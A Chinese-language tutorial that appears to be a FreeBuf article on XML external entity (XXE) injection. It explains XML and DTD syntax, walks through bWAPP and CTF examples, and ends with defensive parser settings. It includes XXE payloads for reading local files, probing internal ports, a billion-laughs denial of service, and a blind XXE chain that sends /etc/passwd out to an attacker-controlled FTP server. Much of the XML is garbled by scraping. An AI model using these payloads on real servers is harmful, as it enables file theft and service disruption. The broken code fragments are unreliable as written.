1. 程式人生 > >淺談XML實體注入漏洞

淺談XML實體注入漏洞

  • 本文作者:[email protected],本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

學習了XXE漏洞,自己來總結一下,如果有什麼寫的不到位,不夠好的地方,還請師傅們指出。

0×00 XXE漏洞
XXE漏洞全稱XML External Entity Injection即xml外部實體注入漏洞,XXE漏洞發生在應用程式解析XML輸入時,沒有禁止外部實體的載入,導致可載入惡意外部檔案,造成檔案讀取、命令執行、內網埠掃描、攻擊內網網站、發起dos攻擊等危害。xxe漏洞觸發的點往往是可以上傳xml檔案的位置,沒有對上傳的xml檔案進行過濾,導致可上傳惡意xml檔案。

0×01 XML
既然說到XML,就先學習一波XML。

  • XML被設計為傳輸和儲存資料,其焦點是資料的內容。

  • HTML被設計用來顯示資料,其焦點是資料的外觀。

XML把資料從HTML分離,XML是獨立於軟體和硬體的資訊傳輸工具。

基本語法:

  • 所有 XML 元素都須有關閉標籤。

  • XML 標籤對大小寫敏感。

  • XML 必須正確地巢狀。

  • XML 文件必須有根元素。

  • XML 的屬性值須加引號。

  • 實體引用,這裡看個例子,如果你把字元 “<” 放在 XML,素中,會發生錯誤,這是因為解析器會把它當作新元素的開始。這樣會產生XML錯誤:

<message>hello < world</message>,為了避免錯誤。我們用實體引用&lt;來代替”<”字元。XML中,有5個預定義的實體引用。
1.png- XML中的註釋,在XML中編寫註釋的語法與 HTML 的語法很相似。

  • 在 XML 中,空格會被保留,多個空格不會被合併為一個。


Everyday Italian Giada De Laurentiis 2005 30.00 0×02 DTD 文件型別定義(DTD)可定義合法的XML文件構建模組。它使用一系列合法的元素來定義文件的結構。DTD可被成行地聲明於XML文件中,也可作為一個外部引用。帶有DTD的XML文件例項 <?xml version="1.0"?> <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT head (#PCDATA)> <!ELEMENT body (#PCDATA)>

]>

Y0u
@re

v3ry g00d! 2.png當使用外部DTD時,通過如下語法引入。

外部DTD例項

<?xml version="1.0"?> Y0u @re v3ry g00d! test.dtd: <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT head (#PCDATA)> <!ELEMENT body (#PCDATA)>

3.png

原始碼

4.png

  • PCDATA的意思是被解析的字元資料。PCDATA是會被解析器解析的文字。這些文字將被解析器檢查實體以及標記。文字中的標籤會被當作標記來處理,而實體會被展開。

5.png不過,被解析的字元資料不應當包含任何&,<,或者>字元,需要用&amp; &lt; &gt;實體來分別替換

  • CDATA意思是字元資料,CDATA 是不會被解析器解析的文字,在這些文字中的標籤不會被當作標記來對待,其中的實體也不會被展開。

DTD元素
6.png

DTD屬性
屬性宣告使用以下語法

<!ATTLIST 元素名稱 屬性名稱 屬性型別 預設值>

DTD例項

<!ATTLIST payment Hu3sky CDATA "H">

XML例項

以下是屬性型別的選項

7.png

預設值引數可以使用下列值:

8.png

DTD-實體(重要)
實體是用於定義引用普通文字或特殊字元的快捷方式的變數。

實體引用是對實體的引用。

實體可以在內部或外部進行宣告

9.png

內部實體

<!ENTITY 實體名稱 "實體的值">

外部實體

<!ENTITY 實體名稱 SYSTEM "URL">

引數實體

<!ENTITY %實體名稱 "值">

or

<!ENTITY %實體名稱 SYSTEM "URL">

內部實體例子

<?xml version="1.0"?> <!ENTITY hack3r "Hu3sky">

]>

&hack3r;

結果

10.png引數實體+外部實體

<?xml version="1.0" encoding="utf-8"?>

%name;
]>
%name(引數實體)是在DTD中被引用的,而&name;是在xml文件中被引用的。

XXE主要是利用了DTD引用外部實體導致的漏洞。

0×03 攻擊思路

  1. 引用外部實體遠端檔案讀取

  2. Blind XXE

  3. DoS

外部實體引用,有回顯
讀取任意檔案

例子一

這裡我用bWAPP平臺上的一道XXE的題目來說明

題目是這樣的,我們點選這個按鈕然後抓包看看11.png

12.png可以看到xxe-1.php頁面以POST方式向xxe-2.php頁面傳輸了XML資料,既然是XML資料,我們就可以自己增加一個惡意外部實體然後再原本的XML資料中進行實體呼叫,來進行XXE攻擊,如下:

13.png可以看到,成功的讀取了robots.txt中的內容,這裡的hu3sky是我們定義的一個外部實體。

為了更好理解原理,我們來看一看xxe-2.php的原始碼。

主要程式碼在這。

17.png可以看到這裡直接用了simplexml_load_string() ,simplexml_load_string() 函式的作用是把XML 字串載入物件中。函式獲取xml內容,並沒有做任何過濾, l o g i n l o g i n login獲取login標籤裡的內容,最後拼接到 message顯示在螢幕上 18.png

例子二

jarvisoj上的一道題目API呼叫

這道題的題目說明是 請設法獲得目標機器/home/ctf/flag.txt中的flag值。

進入題目 http://web.jarvisoj.com:9882/ 發現一個輸入框,我們對其進行抓包3.png發現了json資料,修改發現可以被解析

4.png。一開始沒有思路,後來看了wp,發現是要把json處改為xml。所以就知道了,這題是xxe。修改json處,構造一個xml表單進行xml注入,得到flag。5.png

檢測內網埠

有回顯時,直接傳送payload:

<?xml version="1.0" encoding="utf-8"?> <!ENTITY XXE SYSTEM "http://127.0.0.1:80" >]> &XXE; 當我們檢測80埠時,80埠開放,這時會返回頁面報錯資訊(記得url編碼。因為頁面會解碼一次),如下:

15.png 當我們檢測3389埠,3389埠未開放,埠未開放時返回情況如下:

16.pngBlind XXE

如果伺服器沒有回顯,只能使用Blind XXE漏洞來構建一條外帶資料(OOB)通道來讀取資料。

所以,在沒有回顯的情況下如何來利用XXE

14.png
思路:

  1. 客戶端傳送payload 1給web伺服器

  2. web伺服器向vps獲取惡意DTD,並執行檔案讀取payload2

  3. web伺服器帶著回顯結果訪問VPS上特定的FTP或者HTTP

  4. 通過VPS獲得回顯(nc監聽埠)

本地客戶端(payload 1 )

<?xml version="1.0" encoding="UTF-8"?> %remote;]>

由於web端會解碼,所以需要我們先html實體編碼一次

payload 2 也就是test.xml的內容(VPS)

<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>">

%int;
%trick;
這個是先將SYSTEM的file協議讀取到的內容賦值給引數實體%payload,第二步是一個實體巢狀,trick是遠端訪問ftp協議所攜帶的內容

DOS

<?xml version="1.0"?> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

]>
&lol9;
這個的原理就是遞迴引用,lol 實體具體還有 “lol” 字串,然後一個 lol2 實體引用了 10 次 lol 實體,一個 lol3 實體引用了 10 次 lol2 實體,此時一個 lol3 實體就含有 10^2 個 “lol” 了,以此類推,lol9 實體含有 10^8 個 “lol” 字串,最後再引用lol9。

命令執行
php環境下,xml命令執行需要php裝有expect擴充套件,但是該擴充套件預設沒有安裝,所以一般來說,比較難利用,這裡就只給出程式碼了

<?php $xml = <<

]>
&f;
EOF;
d a t a = s i m p l e x m l l o a d s t r i n g ( data = simplexml_load_string( xml);
print_r($data);
?>
0×04 防禦XXE
使用開發語言提供的禁用外部實體的方法
PHP:

libxml_disable_entity_loader(true);
JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
#過濾使用者提交的XML資料
過濾關鍵字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

不允許XML中含有自己定義的DTD